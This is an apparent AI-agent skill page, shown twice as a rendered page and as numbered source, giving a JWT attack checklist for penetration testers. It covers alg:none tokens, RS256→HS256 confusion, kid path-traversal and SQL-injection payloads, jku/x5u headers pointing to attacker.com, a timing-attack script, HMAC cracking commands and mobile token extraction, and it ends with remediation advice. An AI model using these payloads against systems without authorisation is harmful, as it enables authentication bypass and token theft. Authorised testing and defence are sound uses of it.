Overview
Comprehensive JWT attack checklist for offensive security engagements. Follow steps in order; apply each technique to the current target context and track which items have been completed.
Quick Reference: Misconfigurations to Check
- Algorithm set to
none — signature verification bypassed entirely
- Algorithm switching between
RSA and HMAC (confusion attack)
- Weak or guessable HMAC secret (brute-forceable)
kid, jku, jwk, x5u header parameters accepted without validation
- Expired or tampered tokens accepted by server
- Sensitive data stored unencrypted in payload
Useful tool: JWT Tool
Mechanisms
JWTs (RFC 7519) consist of three Base64URL-encoded parts: header.payload.signature.
Signing algorithms:
| Algorithm |
Type |
Notes |
| HS256/384/512 |
Symmetric HMAC |
Shared secret; confusion target |
| RS256/384/512 |
Asymmetric RSA |
Public key can be misused as HMAC secret |
| ES256/384/512 |
Asymmetric ECDSA |
|
| PS256/384/512 |
RSASSA-PSS |
|
| EdDSA (Ed25519/Ed448) |
Asymmetric |
|
| none |
Unsigned |
Critically insecure |
Additional pitfalls:
- JWS/JWE confusion: server accepts encrypted token (JWE) where signed (JWS) is expected, or fails open on unexpected
typ/cty
- JWKS retrieval: SSRF via
jku/x5u, insecure TLS, poisoned key caching, kid collisions
- Token binding (DPoP, mTLS): incorrectly implemented allows replay from other clients
Hunt: Identifying JWT Usage
- Check
Authorization: Bearer <token> headers in all requests
- Look for cookies containing JWT structures (
eyJ...)
- Examine browser local/session storage
- Decode the token at jwt.io or via BurpSuite JWT extension — inspect claims and header parameters
- Note any
kid, jku, jwk, x5u fields in the header — these are attack surfaces
Vulnerability Map
JWT Vulnerabilities
├── Algorithm Bypass
│ ├── alg:none attack
│ └── RS256→HS256 confusion (public key as HMAC secret)
├── Weak Secret Key → Brute force
├── kid Parameter Injection
│ ├── SQL injection via kid
│ └── Path traversal via kid
├── Header Injection
│ ├── jwk (inline fake key)
│ ├── jku/x5u (remote attacker-controlled JWKS)
│ └── JWKS cache poisoning
└── Missing / Broken Validation
├── No signature check
├── Expired tokens accepted
└── iss/aud/exp not validated
Vulnerabilities
Algorithm Vulnerabilities
- alg:none — Some libraries disable signature validation when
alg is none or a case variant (None, NONE, nOnE)
- Algorithm Confusion (RS256→HS256) — Server uses RSA public key as HMAC secret when attacker switches
alg to HS256; attacker re-signs token with the public key
- Key ID (
kid) Manipulation — Exploiting kid to load wrong keys or inject file paths / SQL; enforce strict lookups
Signature Vulnerabilities
- Weak HMAC Secrets — Brute-forceable with dictionary or hashcat
- Missing Signature Validation — Token accepted without any verification
- Broken Validation — Implementation errors in signature checking logic
Implementation Issues
- Missing Claims Validation —
exp, nbf, aud, iss not verified
- Insufficient Entropy — Predictable JWT IDs or tokens
- No Expiration — Tokens valid indefinitely
- Insecure Transport — Token sent over HTTP
- Debug Leakage — Detailed error messages expose implementation
Header Injection Attacks
- JWK Injection — Supply a custom attacker-controlled public key via the
jwk header
- JKU Manipulation — Point
jku (JWK Set URL) to attacker-controlled JWKS endpoint
- x5u Misuse — Load untrusted X.509 key URL; exploit lax TLS validation or open redirects
- JWKS Cache Poisoning — Force caches to accept attacker keys via
kid collisions or response header manipulation
crit Header Abuse — Server ignores unknown critical parameters, enabling bypass
Information Disclosure
- Sensitive data (PII, credentials, session details) stored unencrypted in payload
- Internal service/backend information leaked via claims
Additional Attack Vectors
Mobile App JWT Storage
Android:
SharedPreferences: Check if world-readable; location /data/data/<package>/shared_prefs/
- Keystore extraction: root device or exploit app
- Backup extraction:
adb backup -f backup.ab <package> (if allowBackup=true)
- Tools: Frida, objection, MobSF
iOS:
- Keychain: Check
kSecAttrAccessible — kSecAttrAccessibleAlways is insecure
- iTunes/iCloud backup extraction: unencrypted backups expose Keychain
- Jailbreak + Keychain-Dumper for full extraction
- Tools: Frida, objection, idb
React Native / Hybrid:
AsyncStorage stored in plain text (Android SQLite DB, iOS plist); no encryption by default
# Android — check SharedPreferences
adb shell "run-as com.target.app cat /data/data/com.target.app/shared_prefs/auth.xml"
# iOS — extract from backup
idevicebackup2 backup --full /path/to/backup
# Use plist/sqlite tools to extract JWT
JWT Confusion Attacks
- SAML-JWT Confusion — App accepts both SAML and JWT; send JWT where SAML expected or vice versa to exploit weaker validation path
- API Key-JWT Confusion — Test sending JWT where API key expected and vice versa
- Session Cookie-JWT Hybrid — Test expired JWT with valid session cookie; inject JWT claims into session
- OAuth Token Confusion — Send ID token (JWT) to resource server expecting opaque access token
# Try API key where JWT expected
curl -H "Authorization: Bearer <api_key>" https://api.target/resource
# Try JWT where API key expected
curl -H "X-API-Key: <jwt_token>" https://api.target/resource
Timing Attacks on HMAC
Non-constant-time comparison leaks the HMAC secret character by character via response time differences.
import requests, time
def time_request(signature):
start = time.perf_counter()
r = requests.get('https://target/api',
headers={'Authorization': f'Bearer header.payload.{signature}'})
return time.perf_counter() - start
# Brute-force first byte — longer response time indicates correct byte
for byte in range(256):
sig = bytes([byte]) + b'\x00' * 31
t = time_request(sig.hex())
JWT in URL Parameters
- Tokens in GET URLs appear in server logs, proxy logs, browser history
- Leaked via
Referer header to external sites; CDN/cache logs may persist tokens
curl "https://api.target/resource?token=eyJ..."
curl "https://api.target/resource?access_token=eyJ..."
curl "https://api.target/resource?jwt=eyJ..."
Check Wayback Machine for historical URLs with tokens; monitor Referer headers to third-party analytics.
Manual Testing Steps
Decode and Inspect:
base64url_decode(header) . base64url_decode(payload) . signature
Test none Algorithm (try all case variants):
{"alg":"none","typ":"JWT"}.payload.""
{"alg":"None","typ":"JWT"}.payload.""
{"alg":"NONE","typ":"JWT"}.payload.""
{"alg":"nOnE","typ":"JWT"}.payload.""
Algorithm Confusion (RS256→HS256):
# Re-sign with RSA public key used as HMAC secret
{"alg":"HS256","typ":"JWT","kid":"expected-key"}.payload.<re-signed-with-public-key-as-secret>
kid Parameter Attacks:
{"alg":"HS256","typ":"JWT","kid":"../../../../dev/null"}
{"alg":"HS256","typ":"JWT","kid":"file:///dev/null"}
{"alg":"HS256","typ":"JWT","kid":"' OR 1=1 --"}
JWK/JKU Injection:
{"alg":"RS256","typ":"JWT","jwk":{"kty":"RSA","e":"AQAB","kid":"attacker-key","n":"..."}}
{"alg":"RS256","typ":"JWT","jku":"https://attacker.com/jwks.json"}
x5u / crit Handling:
{"alg":"RS256","typ":"JWT","x5u":"https://attacker.com/cert.pem"}
{"alg":"RS256","typ":"JWT","crit":["exp"],"exp":null}
Brute Force HMAC Secret:
python3 jwt_tool.py <token> -C -d wordlist.txt
Test Missing Claim Validation:
- Remove or modify
exp (expiration)
- Change
iss (issuer) or aud (audience)
- Modify
iat (issued at) or nbf (not before)
Automated Testing with JWT_Tool
# Basic token inspection
python3 jwt_tool.py <token>
# Full vulnerability scan
python3 jwt_tool.py <token> -M all
# Targeted attacks
python3 jwt_tool.py <token> -X a # Algorithm confusion
python3 jwt_tool.py <token> -X n # Null/none signature
python3 jwt_tool.py <token> -X i # Identity theft
python3 jwt_tool.py <token> -X k # Key confusion
# Crack HMAC secret
python3 jwt_tool.py <token> -C -d wordlist.txt
Other tools:
- JWT.io — basic token inspection and debugging
- Burp Suite JWT Scanner / JWT Editor extension — automated testing and token editing
- jwtXploiter — advanced JWT vulnerability scanning
- c-jwt-cracker — high-speed HMAC brute force (C implementation)
- Frida, objection, MobSF — mobile JWT extraction
Remediation Recommendations
- Use short-lived access tokens; rotate refresh tokens frequently
- Always validate
aud (audience) and iss (issuer) claims
- Disable
none algorithm; prevent algorithm downgrades; pin alg per client/issuer
- Ensure key material loaded for verification matches
alg; reject mismatches
- Reject tokens with unknown
crit header parameters
- Validate JWKS over pinned TLS; disallow remote
jku/x5u except trusted domains; short-TTL key caching with kid uniqueness
- Enforce maximum token length; disable JWE compression unless required
- Maintain server-side deny-list keyed by
jti for early revocation
- For DPoP tokens (
typ:"dpop+jwt"): verify proof binds to HTTP request; enforce one-time nonce use
- Bind sessions to device when possible; rotate refresh tokens on every use
- Prefer
SameSite=Lax/Strict HttpOnly cookies for web; avoid localStorage for access tokens
Alternatives & Modern Mitigations
- PASETO — removes algorithm negotiation entirely; eliminates confusion attacks
- Macaroons — bearer tokens with attenuable, caveat-based delegation
- DPoP and mTLS — bind tokens to the client to prevent replay
1---
2name: offensive-jwt
3description: "JWT attack methodology for penetration testers. Covers algorithm confusion (alg:none, RS256→HS256), weak HMAC secret brute force, kid parameter injection (SQLi, path traversal), jku/x5u/jwk header injection, JWKS cache poisoning, JWS/JWE confusion, timing attacks, and mobile JWT storage extraction. Use when testing JWT-based authentication, hunting auth bypass via token manipulation, or evaluating JWT implementation security in web or mobile apps."
4metadata:
5 source: https://skillmd.com/skills/aibot88/offensive-jwt
6---
7
8## Overview
9
10Comprehensive JWT attack checklist for offensive security engagements. Follow steps in order; apply each technique to the current target context and track which items have been completed.
11
12## Quick Reference: Misconfigurations to Check
13
14- Algorithm set to `none` — signature verification bypassed entirely
15- Algorithm switching between `RSA` and `HMAC` (confusion attack)
16- Weak or guessable HMAC secret (brute-forceable)
17- `kid`, `jku`, `jwk`, `x5u` header parameters accepted without validation
18- Expired or tampered tokens accepted by server
19- Sensitive data stored unencrypted in payload
20
21Useful tool: [JWT Tool](https://github.com/ticarpi/jwt_tool)
22
23## Mechanisms
24
25JWTs (RFC 7519) consist of three Base64URL-encoded parts: `header.payload.signature`.
26
27**Signing algorithms:**
28
29| Algorithm | Type | Notes |
30|-----------|------|-------|
31| HS256/384/512 | Symmetric HMAC | Shared secret; confusion target |
32| RS256/384/512 | Asymmetric RSA | Public key can be misused as HMAC secret |
33| ES256/384/512 | Asymmetric ECDSA | |
34| PS256/384/512 | RSASSA-PSS | |
35| EdDSA (Ed25519/Ed448) | Asymmetric | |
36| none | Unsigned | Critically insecure |
37
38**Additional pitfalls:**
39- JWS/JWE confusion: server accepts encrypted token (JWE) where signed (JWS) is expected, or fails open on unexpected `typ`/`cty`
40- JWKS retrieval: SSRF via `jku`/`x5u`, insecure TLS, poisoned key caching, `kid` collisions
41- Token binding (DPoP, mTLS): incorrectly implemented allows replay from other clients
42
43## Hunt: Identifying JWT Usage
44
451. Check `Authorization: Bearer <token>` headers in all requests
462. Look for cookies containing JWT structures (`eyJ...`)
473. Examine browser local/session storage
484. Decode the token at jwt.io or via BurpSuite JWT extension — inspect claims and header parameters
495. Note any `kid`, `jku`, `jwk`, `x5u` fields in the header — these are attack surfaces
50
51## Vulnerability Map
52
53```
54JWT Vulnerabilities
55├── Algorithm Bypass
56│ ├── alg:none attack
57│ └── RS256→HS256 confusion (public key as HMAC secret)
58├── Weak Secret Key → Brute force
59├── kid Parameter Injection
60│ ├── SQL injection via kid
61│ └── Path traversal via kid
62├── Header Injection
63│ ├── jwk (inline fake key)
64│ ├── jku/x5u (remote attacker-controlled JWKS)
65│ └── JWKS cache poisoning
66└── Missing / Broken Validation
67 ├── No signature check
68 ├── Expired tokens accepted
69 └── iss/aud/exp not validated
70```
71
72## Vulnerabilities
73
74### Algorithm Vulnerabilities
75
76- **alg:none** — Some libraries disable signature validation when `alg` is `none` or a case variant (`None`, `NONE`, `nOnE`)
77- **Algorithm Confusion (RS256→HS256)** — Server uses RSA public key as HMAC secret when attacker switches `alg` to HS256; attacker re-signs token with the public key
78- **Key ID (`kid`) Manipulation** — Exploiting `kid` to load wrong keys or inject file paths / SQL; enforce strict lookups
79
80### Signature Vulnerabilities
81
82- **Weak HMAC Secrets** — Brute-forceable with dictionary or hashcat
83- **Missing Signature Validation** — Token accepted without any verification
84- **Broken Validation** — Implementation errors in signature checking logic
85
86### Implementation Issues
87
88- **Missing Claims Validation** — `exp`, `nbf`, `aud`, `iss` not verified
89- **Insufficient Entropy** — Predictable JWT IDs or tokens
90- **No Expiration** — Tokens valid indefinitely
91- **Insecure Transport** — Token sent over HTTP
92- **Debug Leakage** — Detailed error messages expose implementation
93
94### Header Injection Attacks
95
96- **JWK Injection** — Supply a custom attacker-controlled public key via the `jwk` header
97- **JKU Manipulation** — Point `jku` (JWK Set URL) to attacker-controlled JWKS endpoint
98- **x5u Misuse** — Load untrusted X.509 key URL; exploit lax TLS validation or open redirects
99- **JWKS Cache Poisoning** — Force caches to accept attacker keys via `kid` collisions or response header manipulation
100- **`crit` Header Abuse** — Server ignores unknown critical parameters, enabling bypass
101
102### Information Disclosure
103
104- Sensitive data (PII, credentials, session details) stored unencrypted in payload
105- Internal service/backend information leaked via claims
106
107## Additional Attack Vectors
108
109### Mobile App JWT Storage
110
111**Android:**
112- `SharedPreferences`: Check if world-readable; location `/data/data/<package>/shared_prefs/`
113- Keystore extraction: root device or exploit app
114- Backup extraction: `adb backup -f backup.ab <package>` (if `allowBackup=true`)
115- Tools: Frida, objection, MobSF
116
117**iOS:**
118- Keychain: Check `kSecAttrAccessible` — `kSecAttrAccessibleAlways` is insecure
119- iTunes/iCloud backup extraction: unencrypted backups expose Keychain
120- Jailbreak + Keychain-Dumper for full extraction
121- Tools: Frida, objection, idb
122
123**React Native / Hybrid:**
124- `AsyncStorage` stored in plain text (Android SQLite DB, iOS plist); no encryption by default
125
126```bash
127# Android — check SharedPreferences
128adb shell "run-as com.target.app cat /data/data/com.target.app/shared_prefs/auth.xml"
129
130# iOS — extract from backup
131idevicebackup2 backup --full /path/to/backup
132# Use plist/sqlite tools to extract JWT
133```
134
135### JWT Confusion Attacks
136
137- **SAML-JWT Confusion** — App accepts both SAML and JWT; send JWT where SAML expected or vice versa to exploit weaker validation path
138- **API Key-JWT Confusion** — Test sending JWT where API key expected and vice versa
139- **Session Cookie-JWT Hybrid** — Test expired JWT with valid session cookie; inject JWT claims into session
140- **OAuth Token Confusion** — Send ID token (JWT) to resource server expecting opaque access token
141
142```bash
143# Try API key where JWT expected
144curl -H "Authorization: Bearer <api_key>" https://api.target/resource
145
146# Try JWT where API key expected
147curl -H "X-API-Key: <jwt_token>" https://api.target/resource
148```
149
150### Timing Attacks on HMAC
151
152Non-constant-time comparison leaks the HMAC secret character by character via response time differences.
153
154```python
155import requests, time
156
157def time_request(signature):
158 start = time.perf_counter()
159 r = requests.get('https://target/api',
160 headers={'Authorization': f'Bearer header.payload.{signature}'})
161 return time.perf_counter() - start
162
163# Brute-force first byte — longer response time indicates correct byte
164for byte in range(256):
165 sig = bytes([byte]) + b'\x00' * 31
166 t = time_request(sig.hex())
167```
168
169### JWT in URL Parameters
170
171- Tokens in GET URLs appear in server logs, proxy logs, browser history
172- Leaked via `Referer` header to external sites; CDN/cache logs may persist tokens
173
174```bash
175curl "https://api.target/resource?token=eyJ..."
176curl "https://api.target/resource?access_token=eyJ..."
177curl "https://api.target/resource?jwt=eyJ..."
178```
179
180Check Wayback Machine for historical URLs with tokens; monitor Referer headers to third-party analytics.
181
182## Manual Testing Steps
183
1841. **Decode and Inspect:**
185 ```
186 base64url_decode(header) . base64url_decode(payload) . signature
187 ```
188
1892. **Test `none` Algorithm** (try all case variants):
190 ```
191 {"alg":"none","typ":"JWT"}.payload.""
192 {"alg":"None","typ":"JWT"}.payload.""
193 {"alg":"NONE","typ":"JWT"}.payload.""
194 {"alg":"nOnE","typ":"JWT"}.payload.""
195 ```
196
1973. **Algorithm Confusion (RS256→HS256):**
198 ```
199 # Re-sign with RSA public key used as HMAC secret
200 {"alg":"HS256","typ":"JWT","kid":"expected-key"}.payload.<re-signed-with-public-key-as-secret>
201 ```
202
2034. **kid Parameter Attacks:**
204 ```
205 {"alg":"HS256","typ":"JWT","kid":"../../../../dev/null"}
206 {"alg":"HS256","typ":"JWT","kid":"file:///dev/null"}
207 {"alg":"HS256","typ":"JWT","kid":"' OR 1=1 --"}
208 ```
209
2105. **JWK/JKU Injection:**
211 ```
212 {"alg":"RS256","typ":"JWT","jwk":{"kty":"RSA","e":"AQAB","kid":"attacker-key","n":"..."}}
213 {"alg":"RS256","typ":"JWT","jku":"https://attacker.com/jwks.json"}
214 ```
215
2166. **x5u / crit Handling:**
217 ```
218 {"alg":"RS256","typ":"JWT","x5u":"https://attacker.com/cert.pem"}
219 {"alg":"RS256","typ":"JWT","crit":["exp"],"exp":null}
220 ```
221
2227. **Brute Force HMAC Secret:**
223 ```bash
224 python3 jwt_tool.py <token> -C -d wordlist.txt
225 ```
226
2278. **Test Missing Claim Validation:**
228 - Remove or modify `exp` (expiration)
229 - Change `iss` (issuer) or `aud` (audience)
230 - Modify `iat` (issued at) or `nbf` (not before)
231
232## Automated Testing with JWT_Tool
233
234```bash
235# Basic token inspection
236python3 jwt_tool.py <token>
237
238# Full vulnerability scan
239python3 jwt_tool.py <token> -M all
240
241# Targeted attacks
242python3 jwt_tool.py <token> -X a # Algorithm confusion
243python3 jwt_tool.py <token> -X n # Null/none signature
244python3 jwt_tool.py <token> -X i # Identity theft
245python3 jwt_tool.py <token> -X k # Key confusion
246
247# Crack HMAC secret
248python3 jwt_tool.py <token> -C -d wordlist.txt
249```
250
251**Other tools:**
252- JWT.io — basic token inspection and debugging
253- Burp Suite JWT Scanner / JWT Editor extension — automated testing and token editing
254- jwtXploiter — advanced JWT vulnerability scanning
255- c-jwt-cracker — high-speed HMAC brute force (C implementation)
256- Frida, objection, MobSF — mobile JWT extraction
257
258## Remediation Recommendations
259
260- Use short-lived access tokens; rotate refresh tokens frequently
261- Always validate `aud` (audience) and `iss` (issuer) claims
262- Disable `none` algorithm; prevent algorithm downgrades; pin `alg` per client/issuer
263- Ensure key material loaded for verification matches `alg`; reject mismatches
264- Reject tokens with unknown `crit` header parameters
265- Validate JWKS over pinned TLS; disallow remote `jku`/`x5u` except trusted domains; short-TTL key caching with `kid` uniqueness
266- Enforce maximum token length; disable JWE compression unless required
267- Maintain server-side deny-list keyed by `jti` for early revocation
268- For DPoP tokens (`typ:"dpop+jwt"`): verify proof binds to HTTP request; enforce one-time nonce use
269- Bind sessions to device when possible; rotate refresh tokens on every use
270- Prefer `SameSite=Lax/Strict` HttpOnly cookies for web; avoid localStorage for access tokens
271
272## Alternatives & Modern Mitigations
273
274- **PASETO** — removes algorithm negotiation entirely; eliminates confusion attacks
275- **Macaroons** — bearer tokens with attenuable, caveat-based delegation
276- **DPoP and mTLS** — bind tokens to the client to prevent replay